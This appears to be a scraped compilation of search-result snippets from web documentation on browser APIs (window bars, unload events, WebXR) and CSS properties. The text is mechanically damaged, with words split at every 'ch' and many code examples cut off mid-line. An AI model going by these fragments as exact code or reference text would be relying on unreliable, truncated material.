...} window.scrollbypages(1); notes use this property to
check that the document hasn't already been scrolled when using relative scroll functions su
ch as scrollby(), scrollbylines(), or scrollbypages().
...additionally, older versions of internet explorer (< 9) do not support either property and must be worked around by
checking other non-standard properties.
Window.statusbar - Web APIs
syntax objref = window.statusbar example the following complete html example shows a way that the visible property of the various "bar" objects is used, and also the
change to the privileges necessary to write to the visible property of any of the bars on an existing window.
... <!doctype html> <html lang="en"> <head> <meta
charset="utf-8" /> <title>various dom tests</title> <script> //
changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.statusbar.visible=!window.statusbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above.
... also be aware that dynamically updating the visibilty of the various toolbars can
change the size of the window rather dramatically, and may affect the layout of your page.
Window.toolbar - Web APIs
syntax objref = window.toolbar example the following complete html example shows way that the visible property of the various "bar" objects is used, and also the
change to the privileges necessary to write to the visible property of any of the bars on an existing window.
... <!doctype html> <html> <head> <title>various dom tests</title> <script> //
changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.toolbar.visible=!window.toolbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above.
... also be aware that dynamically updating the visibilty of the various toolbars can
change the size of the window rather dramatically, and may affect the layout of your page.
Window: unload event - Web APIs
the unload event is fired when the document or a
child resource is being unloaded.
...beforeunload (cancelable event) pagehide the document is in the following state: all the resources still exist (img, iframe etc.) nothing is visible anymore to the end user ui interactions are ineffective (window.open, alert, confirm, etc.) an error won't stop the unloading workflow please note that the unload event also follows the document tree: parent frame unload will happen before
child frame unload (see example below).
... examples <!doctype html> <html> <head> <title>parent frame</title> <script> window.addeventlistener('beforeunload', function(event) { console.log('i am the 1st one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 3rd one.'); }); </script> </head> <body> <iframe src="
child-frame.html"></iframe> </body> </html> below, the content of
child-frame.html: <!doctype html> <html> <head> <title>
child frame</title> <script> window.addeventlistener('beforeunload', function(event) { console.log('i am the 2nd one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 4th and last one…'); }); </script> </head> <body> ...
Window.window - Web APIs
yet another reason to use this property, is for libraries whi
ch wish to offer oop-versions, and non-oop versions (especially javascript modules).
... for example, if we refer to "this.window.location.href", a javascript module could define a property called "window" inside of a class it defined (since no global "window" variable exists for it by default) whi
ch could be created after passing in a window object to the module class' constructor.
...another advantage, is that the objects of su
ch a class (even if the class were defined outside of a module) could
change their reference to the window at will, they would not be able to do this if they had hard-coded a reference to "window".
WindowEventHandlers.onbeforeprint - Web APIs
the beforeprint and afterprint events allow pages to
change their content before printing starts (perhaps to remove a banner, for example) and then revert those
changes after printing has completed.
...}; polyfill safari does not implement these events, but you can create an equivalent result to the beforeprint event with window.mat
chmedia('print').
... var mediaquerylist = window.mat
chmedia('print'); mediaquerylist.addlistener(function(mql) { if(mql.mat
ches) { console.log('webkit equivalent of onbeforeprint'); } }); specification specification status comment html living standardthe definition of 'onbeforeprint' in that specification.
WindowEventHandlers.onstorage - Web APIs
the storage event fires when a storage area has been
changed in the context of another document.
... example this example logs the value for a storage key whenever it
changes in another document.
... window.onstorage = function(e) { console.log('the ' + e.key + ' key has been
changed from ' + e.oldvalue + ' to ' + e.newvalue + '.'); }; specifications specification status comment html living standardthe definition of 'onstorage' in that specification.
WorkerGlobalScope.location - Web APIs
example if you called the following in a document served at localhost:8000 console.log(location); inside a worker (whi
ch would basically be the equivalent of self.console.log(self.location);, as these are being called on the worker scope, whi
ch can be referenced with workerglobalscope.self), you will get a workerlocation object written to the console — something like the following: workerlocation {hash: "", sear
ch: "", pathname: "/worker.js", port: "8000", hostname: "localhost"…} hash: "" host: "localhost:...
...8000" hostname: "localhost" href: "http://localhost:8000/worker.js" origin: "http://localhost:8000" pathname: "/worker.js" port: "8000" protocol: "http:" sear
ch: "" __proto__: workerlocation you could use this location object to return more information about the document's location, as you might do with a normal location object.
... note: firefox has a bug with using console.log inside shared/service workers (see bug 1058644), whi
ch may return strange results, but this should be fixed soon.
WorkerLocation - Web APIs
su
ch an object is initialized for ea
ch worker and is available via the workerglobalscope.location property obtained by calling self.location.
... urlutilsreadonly.protocol read only is a domstring containing the protocol s
cheme of the url of the script executed in the worker, including the final ':'.
... urlutilsreadonly.sear
ch read only is a domstring containing a '?' followed by the parameters of the url of the script executed in the worker.
XDomainRequest - Web APIs
syntax var xdr = new xdomainrequest(); returns a new xdomainrequest object, whi
ch can then be used to make and manage these requests.
... the origin's security protocol must mat
ch that of the requested url.
...if these do not mat
ch, the request will error "access is denied".
XMLDocument.async - Web APIs
document.async can be set to indicate whether a xmldocument.load() call should be an asyn
chronous or syn
chronous request.
... true is the default value, indicating that documents should be loaded asyn
chronously.
... (it has been possible to load documents syn
chronously since 1.4 alpha.) example function loadxmldata(e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } var xmldoc = document.implementation.createdocument("", "test", null); xmldoc.async = false; xmldoc.onload = loadxmldata; xmldoc.load('querydata.xml'); ...
XMLDocument.load() - Web APIs
can be used with document.async to indicate whether the request is syn
chronous or asyn
chronous (the default).
... as of at least gecko 1.9, this no longer supports cross-site loading of documents (use xmlhttprequest or fet
ch() instead).
...(to test this functionality, create the files on your local disk or on a webserver rather than loading the load.html file from the lxr-generated page, whi
ch will serve the text.xml file as html.) specifications old w3c working draft of the dom level 3 load & save module ...
XMLHttpRequestEventTarget - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequesteventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="...
...12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties xmlhttprequesteventtarget.onabort contains the function to call when a request is aborted and the abort event is received by this object.
... xmlhttprequesteventtarget.onload contains the function to call when an http request returns after successfully fet
ching content and the load event is received by this object.
XRFrame - Web APIs
events whi
ch communicate the tracking state of objects also provide an xrframe reference as part of their structure.
... in addition to providing a reference to the xrsession for whi
ch this frame is to be rendered, the getviewerpose() method is provided to obtain the xrviewerpose describing the viewer's position and orientation in space, and getpose() can be used to create an xrpose describing the relative position of one xrspace relative to another.
... properties session read only the xrsession that for whi
ch this xrframe describes the tracking details for all objects.
XRInputSourceArray.length - Web APIs
examples in this example, a game that requires at least one input source uses length to
check this before proceeding to allow the user to play the game.
...r to play super duper shark jump fest 9000.", [ { label: "shop now", url: "https://www.amazon.com/s?k=vr+controllers" }, { label: "quit" handler: quitgame } ]); } here, if length is 0, a hypothetical showalertdialog() function is called with a prompt string explaining the need for a controller, and an array of objects, ea
ch describing a button and what should happen when it's clicked.
... the first takes the user to an amazon.com sear
ch for vr controllers, and the second calls a quitgame() function to start shutting the game program down.
XRInputSourceEvent.inputSource - Web APIs
the xrinputsourceevent interface's read-only inputsource property specifies the xrinputsource whi
ch generated the input event.
...this event indicates an action the user has taken using a webxr input controller, su
ch as a hand controller, motion sensing device, or other input apparatus.
... example the snippet below shows a handler for the select event whi
ch looks specifically for events whi
ch happen on gaze input devices.
XRPermissionStatus - Web APIs
the xrpermissionstatus interface defines the object returned by calling navigator.permissions.query() for the xr permission name; it indicates whether or not the app or site has permission to use webxr, an may be monitored over time for
changes to that permissions tate.
... granted an array of strings listing the names of the features for whi
ch permission has been granted as of the time at whi
ch navigator.permissions.query() was called.
... any feature whi
ch was specified in either the optionalfeatures or requiredfeatures when calling navigator.permissions.query() are listed in granted if and only if permission to use them is granted.
XRRenderStateInit - Web APIs
the xrrenderstateinit dictionary is a writeable version of the xrrenderstate interface, and is used when calling an xrsession's updaterenderstate() method to apply
changes to the render state prior to rendering the next frame.
... properties baselayer optional an xrwebgllayer object from whi
ch the webxr compositor will obtain imagery.
... depthfar optional a floating-point value specifying the distance in meters from the viewer to the far clip plane, whi
ch is a plane parallel to the display surface beyond whi
ch no further rendering will occur.
XRRigidTransform.inverse - Web APIs
the read-only inverse property of the xrrigidtransform interface returns another xrrigidtransform object whi
ch is the inverse of its owning transform.
... syntax let transforminverse = xrrigidtransform.inverse; value an xrrigidtransform whi
ch contains the inverse of the xrrigidtransform on whi
ch it's accessed.
...the inverse's matrix is multiplied by the object's matrix to get the model view matrix, whi
ch is then passed into the shader program by setting a uniform to contain that information.
XRSession.onselect - Web APIs
the onselect property of the xrsession object is the event handler for the select event, whi
ch is dispat
ched when a primary action is completed successfully by the user.
... the select event is sent after tracking of the primary action begins, as announced by the selectstart event, and immediately before the tracking of the primary action ends, whi
ch is announced by the selectend event.
... example this example handles select event whi
ch occur on the user's main hand (as given by a user object's handedness property); if that value mat
ches the value of the xrinputsource property handedness, we know that the device is held in the user's main hand.
XRSession.renderState - Web APIs
the read-only renderstate property of an xrsession object indicates the returns a xrrenderstate object describing how the user's environment whi
ch should be rendered.
... the information provided covers the minimum and maximum distance at whi
ch to render objects, the vertical field of view to use when rendering the in the inline session mode, and the xrwebgllayer to render into for inline composition.
... while this property is read only, you can call the xrsession method updaterenderstate() to make
changes.
XRSession.visibilityState - Web APIs
every time the visibility state
changes, a visibility
change event is fired on the xrsession object.
... the possible values of visibilitystate are: hidden the virtual scene generated by the xrsession is not currently visible to the user, so its requestanimationframe() callbacks are not being executed until thevisibilitystate
changes.
... usage notes it's important to keep in mind that because an immersive webxr session is potentially being shown using a different display than the html document in whi
ch it's running (su
ch as when being shown on a headset), the value of a session's visibilitystate may not necessarily be the same as the owning document's visibilitystate.
XRSessionEvent.session - Web APIs
the read-only xrsessionevent interface's session property indicates whi
ch xrsession the event is about.
... syntax xrsession = xrsessionevent.session; value an xrsession object indicating whi
ch webxr session the event refers to.
... xrsession.addeventlistener("visibility
change", e => { swit
ch(e.session.visibilitystate) { case "hidden": myenablerendering(true); break; case "visible": case "visible-blurred": myenablerendering(false); break; } }); this calls a function that reacts to the session's visibility state
change.
XRSessionInit - Web APIs
optionalfeatures optional an array of values identifying features whi
ch the returned xrsession may optionally support.
... requiredfeatures optional an array of values whi
ch the returned xrsession must support.
... security requirements ea
ch reference space or feature type has minimum safety requirements.
XRSystem: isSessionSupported() - Web APIs
the xrsystem method issessionsupported() returns a promise whi
ch resolves to true if the specified webxr session mode is supported by the user's webxr device.
... syntax var issupportedpromise = xr.issessionsupported(xrsessionmode) parameters xrsessionmode a domstring specifying the webxr session mode for whi
ch support is to be
checked.
... examples in this example, we see issessionsupported() used to detect whether or not the device supports vr mode by
checking to see if an immersive-vr session is supported.
XRViewport - Web APIs
thus the values specified in an xrviewport define a rectangle whose bottom-left corner is at (x, y) and whi
ch extends width pixels toward the left and height pixels upward.
...after initial setup, it iterates over ea
ch of the views within the viewer's pose, configuring the viewport as dictated by the xrwebgllayer.
... xrsession.requestanimationframe((time, xrframe) => { let viewerpose = xrframe.getviewerpose(xrreferencespace); gl.bindframebuffer(xrwebgllayer.framebuffer); for (xrview of viewerpose.views) { let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height); // now we can use webgl to draw into a viewport mat
ching // the viewer's needs } }); specifications specification status comment webxr device apithe definition of 'xrviewport' in that specification.
XRWebGLLayerInit.stencil - Web APIs
the stencil buffer is an optional buffer whi
ch, just like the depth buffer, contains one entry for every pixel in the frame buffer.
...you can store values into ea
ch entry in the stencil bufer, then specify an operation that determines whi
ch stencil buffer values correspond to pixels whi
ch should be drawn to the screen during ea
ch frame.
... syntax let layerinit = { stencil: false }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { stencil: false }); value a boolean whi
ch can be set to false to specify that the new webgl layer should not include a stencil buffer.
border-block-end - CSS: Cascading Style Sheets
the physical border to whi
ch it maps depends on the element's writing mode, directionality, and text orientation.
... related properties are border-block-start, border-inline-start, and border-inline-end, whi
ch define the other borders of the element.
... formal definition initial valueas ea
ch of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas ea
ch of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typeas ea
ch of the properties of the shorthand:border-block-end-color: a colorborder-block-end-style: discreteborder-block-end-width: a...
border-block - CSS: Cascading Style Sheets
the physical borders to whi
ch it maps depends on the element's writing mode, directionality, and text orientation.
... the borders in the other dimension can be set with border-inline, whi
ch sets border-inline-start, and border-inline-end.
... formal definition initial valueas ea
ch of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas ea
ch of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typediscrete formal syntax <'border-top-widt...
border-collapse - CSS: Cascading Style Sheets
syntax /* keyword values */ border-collapse: collapse; border-collapse: separate; /* global values */ border-collapse: inherit; border-collapse: initial; border-collapse: unset; the border-collapse property is specified as a single keyword, whi
ch may be
chosen from the list below.
...table of browser engines html <table class="separate"> <caption><code>border-collapse: separate</code></caption> <tbody> <tr><th>browser</th> <th>layout engine</th></tr> <tr><td class="fx">firefox</td> <td class="gk">gecko</td></tr> <tr><td class="ed">edge</td> <td class="tr">edgehtml</td></tr> <tr><td class="sa">safari</td> <td class="wk">webkit</td></tr> <tr><td class="
ch">
chrome</td> <td class="bk">blink</td></tr> <tr><td class="op">opera</td> <td class="bk">blink</td></tr> </tbody> </table> <table class="collapse"> <caption><code>border-collapse: collapse</code></caption> <tbody> <tr><th>browser</th> <th>layout engine</th></tr> <tr><td class="fx">firefox</td> <td class="gk">gecko</td></tr> <tr><td class="ed">edge</td> <td class="tr">edgehtm...
...l</td></tr> <tr><td class="sa">safari</td> <td class="wk">webkit</td></tr> <tr><td class="
ch">
chrome</td> <td class="bk">blink</td></tr> <tr><td class="op">opera</td> <td class="bk">blink</td></tr> </tbody> </table> css .collapse { border-collapse: collapse; } .separate { border-collapse: separate; } table { display: inline-table; margin: 1em; border: dashed 5px; } table th, table td { border: solid 3px; } .fx { border-color: orange blue; } .gk { border-color: black red; } .ed { border-color: blue gold; } .tr { border-color: aqua; } .sa { border-color: silver blue; } .wk { border-color: gold blue; } .
ch { border-color: red yellow green blue; } .bk { border-color: navy blue teal aqua; } .op { border-color: red; } result specifications specificatio...
border-color - CSS: Cascading Style Sheets
ea
ch side can be set individually using border-top-color, border-right-color, border-bottom-color, and border-left-color; or using the writing mode-aware border-block-start-color, border-block-end-color, border-inline-start-color, and border-inline-end-color.
... formal definition initial valueas ea
ch of the properties of the shorthand:border-top-color: currentcolorborder-right-color: currentcolorborder-bottom-color: currentcolorborder-left-color: currentcolorapplies toall elements.
... it also applies to ::first-letter.inheritednocomputed valueas ea
ch of the properties of the shorthand:border-bottom-color: computed colorborder-left-color: computed colorborder-right-color: computed colorborder-top-color: computed coloranimation typeas ea
ch of the properties of the shorthand:border-bottom-color: a colorborder-left-color: a colorborder-right-color: a colorborder-top-color: a color formal syntax <color>{1,4}where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
border-image-width - CSS: Cascading Style Sheets
width: 3; /* vertical | horizontal */ border-image-width: 2em 3em; /* top | horizontal | bottom */ border-image-width: 5% 15% 10%; /* top | right | bottom | left */ border-image-width: 5% 2em 10% auto; /* global values */ border-image-width: inherit; border-image-width: initial; border-image-width: unset; the border-image-width property may be specified using one, two, three, or four values
chosen from the list of values below.
... auto the width of the border is made equal to the intrinsic width or height (whi
chever is applicable) of the corresponding border-image-slice.
...tagesrefer to the width or height of the border image areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length-percentage> | <number> | auto ]{1,4}where <length-percentage> = <length> | <percentage> examples tiling a border image this example creates a border image using the following ".png" file, whi
ch is 90 by 90 pixels: thus, ea
ch circle in the source image is 30 by 30 pixels.
clip-path - CSS: Cascading Style Sheets
if specified by itself, it causes the edges of the specified box, including any corner shaping (su
ch as a border-radius), to be the clipping path.
...der-box circle(25% at 25% 25%); } .shape8 { clip-path: padding-box circle(25% at 25% 25%); } .shape9 { clip-path: content-box circle(25% at 25% 25%); } .defs { width: 0; height: 0; margin: 0; } pre { margin-bottom: 0; } svg { margin: 1em; font-family: sans-serif; width: 192px; height: 192px; } svg rect { stroke: pink; stroke-width: 16px; } svg text { fill: pink; text-an
chor: middle; } svg text.em { font-style: italic; } complete example html <img id="clipped" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"> <svg height="0" width="0"> <defs> <clippath id="cross"> <rect y="110" x="137" width="90" height="90"/> <rect x="0" y="110" width="90" height="90"/> <rect x="137" y="0" width="90" height="90"/> ...
...le</option> <option value="url(#cross)" selected>cross</option> <option value="inset(20px round 20px)">inset</option> <option value="path('m 0 200 l 0,110 a 110,90 0,0,1 240,100 l 200 340 z')">path</option> </select> css #clipped { margin-bottom: 20px; clip-path: url(#cross); } javascript const clippathselect = document.getelementbyid("clippath"); clippathselect.addeventlistener("
change", function (evt) { document.getelementbyid("clipped").style.clippath = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'clip-path' in that specification.
clip - CSS: Cascading Style Sheets
/* keyword value */ clip: auto; /* <shape> values */ clip: rect(1px 10em 3rem 2
ch); clip: rect(1px, 10em, 3rem, 2
ch); /* global values */ clip: inherit; clip: initial; clip: unset; syntax note: where possible, authors are encouraged to use the newer clip-path property instead.
...this is different from rect(auto, auto, auto, auto), whi
ch clips to the element’s inside border edges.
... formal definition initial valueautoapplies toabsolutely positioned elementsinheritednocomputed valueauto if specified as auto, otherwise a rectangle with four values, ea
ch of whi
ch is auto if specified as auto or the computed length otherwiseanimation typea rectangle formal syntax <shape> | autowhere <shape> = rect(<top>, <right>, <bottom>, <left>) examples clipping an image css .dotted-border { border: dotted; position: relative; width: 536px; height: 350px; } #top-left, #middle, #bottom-right { position: absolute; top: 0; } #top-left { left: 360px; clip: rect(0 175px 113px 0); } #middle { left: 280px; clip: rect(119px 255px 229px 80px); } #bottom-right { left: 200px; clip: rect(235px 335px 345px 160px); } html <p class="dotted-border"> <img src="h...
column-fill - CSS: Cascading Style Sheets
in fragmented contexts, su
ch as paged media, only the last fragment is balanced.
...in fragmented contexts, su
ch as paged media, all fragments are balanced.
... formal definition initial valuebalanceapplies tomulticol elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | balance | balance-all examples splitting text evenly across columns html <p class="content-box"> this is a bun
ch of text split into multiple columns.
counter-increment - CSS: Cascading Style Sheets
you may specify as many counters to increment as you want, with ea
ch name or name-number pair separated by a space.
...]+ | none examples incrementing named counters h1 { counter-increment:
chapter section 2 page; /* increases the value of the
chapter and page counters by 1, and the section counter by 2 */ } specifications specification status comment css lists module level 3the definition of 'counter-increment' in that specification.
... working draft no
change.
counter-set - CSS: Cascading Style Sheets
you may specify as many counters to reset as you want, with ea
ch name or name-number pair separated by a space.
... <integer> the value to set the counter to on ea
ch occurrence of the element.
...]+ | none examples setting named counters h1 { counter-set:
chapter section 1 page; /* sets the
chapter and page counters to 0, and the section counter to 1 */ } specifications specification status comment css lists module level 3the definition of 'counter-set' in that specification.
<dimension> - CSS: Cascading Style Sheets
the <dimension> css data type represents a <number> with a unit atta
ched to it, for example 10px.
... syntax the syntax of <dimension> is a <number> immediately followed by a unit whi
ch is an identifier.
... candidate recommendation adds
ch, rem, vw, vw, vmin, vmax, q css level 2 (revision 1)the definition of '<dimension>' in that specification.
<display-inside> - CSS: Cascading Style Sheets
these keywords specify the element’s inner display type, whi
ch defines the type of formatting context that lays out its contents (assuming it is a non-replaced element).
... depending on the value of other properties (su
ch as position, float, or overflow) and whether it is itself participating in a block or inline formatting context, it either establishes a new block formatting context (bfc) for its contents or integrates its contents into its parent formatting context.
... note: browsers that support the two value syntax, on finding the inner value only, su
ch as when display: flex or display: grid is specified, will set their outer value to block.
<display-outside> - CSS: Cascading Style Sheets
the <display-outside> keywords specify the element’s outer display type, whi
ch is essentially its role in flow layout.
... note: browsers that support the two value syntax, on finding the outer value only, su
ch as when display: block or display: inline is specified, will set the inner value to flow.
... this will result in expected behavior; for example if you specify an element to be block, you would expect that the
children of that element would participate in block and inline normal flow layout.
flex-grow - CSS: Cascading Style Sheets
description this property specifies how mu
ch of the remaining space in the flex container should be assigned to the item (the flex grow factor).
... the main size is either width or height of the item whi
ch is dependent on the flex-direction value.
...background-color:lightblue;">b</div> <div class="box" style="background-color:yellow;">c</div> <div class="box1" style="background-color:brown;">d</div> <div class="box1" style="background-color:lightgreen;">e</div> <div class="box" style="background-color:brown;">f</div> </div> css #content { display: flex; justify-content: space-around; flex-flow: row wrap; align-items: stret
ch; } .box { flex-grow: 1; border: 3px solid rgba(0,0,0,.2); } .box1 { flex-grow: 2; border: 3px solid rgba(0,0,0,.2); } result specifications specification status comment css flexible box layout modulethe definition of 'flex-grow' in that specification.
font-language-override - CSS: Cascading Style Sheets
for example, a lot of fonts have a special
character for the digraph fi that merge the dot on the "i" with the "f." however, if the language is set to turkish the typeface will likely know not to use the merged glyph; turkish has two versions of the "i," one with a dot (i) and one without (ı), and using the ligature would incorrectly transform a dotted "i" into a dotless "i." the font-language-override property lets you override the typefa...
...for instance, if a typeface doesn't have proper rules for the azeri language, you can force the font to use turkish glyphs, whi
ch follow similar rules.
...the string must mat
ch a language tag found in the opentype language system.
font-smooth - CSS: Cascading Style Sheets
swit
ching from subpixel rendering to antialiasing for light text on dark backgrounds makes it look lighter.
...swit
ching from subpixel rendering to antialiasing for light text on dark backgrounds makes it look lighter.
... formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | never | always | <absolute-size> | <length>where <absolute-size> = xx-small | x-small | small | medium | large | x-large | xx-large | xxx-large examples basic usage example the following example shows the safari/
chromium and firefox equivalents that turn on font-smoothing on macos.
font-synthesis - CSS: Cascading Style Sheets
the font-synthesis css property controls whi
ch missing typefaces, bold or italic, may be synthesized by the browser.
...fonts used for
chinese, japanese, korean and other logographic scripts tend not to include these variants, and synthesizing them may impede the legibility of the text.
... in these cases, it may be desirable to swit
ch off the browser's default font-synthesis.
<gradient> - CSS: Cascading Style Sheets
its concrete size will mat
ch the size of the element to whi
ch it applies.
... repeating gradient repeating gradients duplicate a gradient as mu
ch as necessary to fill a given area.
...this prevents unexpected shades of gray from appearing when both the color and the opacity are
changing.
grid-auto-columns - CSS: Cascading Style Sheets
ea
ch <flex>-sized track takes a share of the remaining space in proportion to its flex factor.
... fit-content(argument) represents the formula min(max-content, max(auto, argument)), whi
ch is calculated similar to auto (i.e.
... note: auto track sizes (and only auto track sizes) can be stre
ched by the align-content and justify-content properties.
grid-template-columns - CSS: Cascading Style Sheets
ea
ch <flex>-sized track takes a share of the remaining space in proportion to its flex factor.
... note: auto track sizes (and only auto track sizes) can be stret
ched by the align-content and justify-content properties.
... fit-content( [ <length> | <percentage> ] ) represents the formula min(max-content, max(auto, argument)), whi
ch is calculated similar to auto (i.e.
grid-template-rows - CSS: Cascading Style Sheets
ea
ch <flex>-sized track takes a share of the remaining space in proportion to its flex factor.
... note: auto track sizes (and only auto track sizes) can be stret
ched by the align-content and justify-content properties.
... fit-content( [ <length> | <percentage> ] ) represents the formula min(max-content, max(auto, argument)), whi
ch is calculated similar to auto (i.e.
height - CSS: Cascading Style Sheets
absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting height using pixels and percentages html <div id="taller">i'm 50 pixels tall.</div> <div id="shorter">i'm 25 pixels tall.</div> <div id="parent"> <div id="
child"> i'm half the height of my parent.
... </div> </div> css div { width: 250px; margin-bottom: 5px; border: 2px solid blue; } #taller { height: 50px; } #shorter { height: 25px; } #parent { height: 100px; } #
child { height: 50%; width: 75%; } result specifications specification status comment css box sizing module level 4the definition of 'height' in that specification.
... recommendation adds support for the <length> values and precises on whi
ch element it applies to.
line-break - CSS: Cascading Style Sheets
the line-break css property sets how to break lines of
chinese, japanese, or korean (cjk) text when working with punctuation and symbols.
...typically used for short lines, su
ch as in newspapers.
... anywhere there is a soft wrap opportunity around every typographic
character unit, including around any punctuation
character or preserved white spaces, or in the middle of words, disregarding any prohibition against line breaks, even those introduced by
characters with the gl, wj, or zwj
character class or mandated by the word-break property.
line-height - CSS: Cascading Style Sheets
this will help people experiencing low vision conditions, as well as people with cognitive concerns su
ch as dyslexia.
...her number or length formal syntax normal | <number> | <length> | <percentage> examples basic example /* all rules below have the same resultant line height */ div { line-height: 1.2; font-size: 10pt; } /* number/unitless */ div { line-height: 1.2em; font-size: 10pt; } /* length */ div { line-height: 120%; font-size: 10pt; } /* percentage */ div { font: 10pt/1.2 georgia,"bitstream
charter",serif; } /* font shorthand */ it is often more convenient to set line-height by using the font shorthand as shown above, but this requires the font-family property to be specified as well.
... recommendation no
change.
list-style - CSS: Cascading Style Sheets
to address this, add a zero-width space as pseudo-content before ea
ch list item to ensure the list is recognized properly.
... ul { list-style: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valueas ea
ch of the properties of the shorthand:list-style-type: disclist-style-position: outsidelist-style-image: noneapplies tolist itemsinheritedyescomputed valueas ea
ch of the properties of the shorthand:list-style-image: none or the image with its uri made absolutelist-style-position: as specifiedlist-style-type: as specifiedanimation typediscrete formal syntax <'list-style-type'> | <'list-style-position'> |...
... working draft no
change.
mask-border-outset - CSS: Cascading Style Sheets
the mask-border-outset css property specifies the distance by whi
ch an element's mask border is set out from its border box.
...ea
ch value is a <length> or <number>.
... mask-border-outset: 1rem;
chromium-based browsers support an outdated version of this property — mask-box-image-outset — with a prefix: -webkit-mask-box-image-outset: 1rem; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in
chromium), so you can get an idea of the effect.
mask-border-width - CSS: Cascading Style Sheets
border-width: 3; /* vertical | horizontal */ mask-border-width: 2em 3em; /* top | horizontal | bottom */ mask-border-width: 5% 15% 10%; /* top | right | bottom | left */ mask-border-width: 5% 2em 10% auto; /* global values */ mask-border-width: inherit; mask-border-width: initial; mask-border-width: unset; the mask-border-width property may be specified using one, two, three, or four values
chosen from the list of values below.
... auto the width of the mask border is made equal to the intrinsic width or height (whi
chever is applicable) of the corresponding mask-border-slice.
... mask-border-width: 30 fill;
chromium-based browsers support an outdated version of this property — mask-box-image-width — with a prefix: -webkit-mask-box-image-width: 20px; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in
chromium), so you can get an idea of the effect.
mask-clip - CSS: Cascading Style Sheets
the mask-clip css property determines the area whi
ch is affected by a mask.
...e <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples clipping a mask to the border box css #masked { width: 100px; height: 100px; background-color: #8cffa0; margin: 20px; border: 20px solid #8ca0ff; padding: 20px; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-size: 100% 100%; mask-clip: border-box; /* can be
changed in the live sample */ } html <div id="masked"> </div> <select id="clipbox"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option v...
...alue="view-box">view-box</option> <option value="no-clip">no-clip</option> </select> javascript var clipbox = document.getelementbyid("clipbox"); clipbox.addeventlistener("
change", function (evt) { document.getelementbyid("masked").style.maskclip = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-clip' in that specification.
mask-origin - CSS: Cascading Style Sheets
for elements rendered as multiple boxes, su
ch as inline boxes on several lines or boxes on several pages, it specifies whi
ch boxes box-decoration-break operates upon to determine the mask positioning area.
...roke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples setting mask origin to border-box css #masked { width: 100px; height: 100px; margin: 10px; border: 10px solid blue; background-color: #8cffa0; padding: 10px; mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-origin: border-box; /* can be
changed in the live sample */ } html <div id="masked"> </div> <select id="origin"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option va...
...lue="view-box">view-box</option> </select> javascript var origin = document.getelementbyid("origin"); origin.addeventlistener("
change", function (evt) { document.getelementbyid("masked").style.maskorigin = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-origin' in that specification.
mask - CSS: Cascading Style Sheets
formal definition initial valueas ea
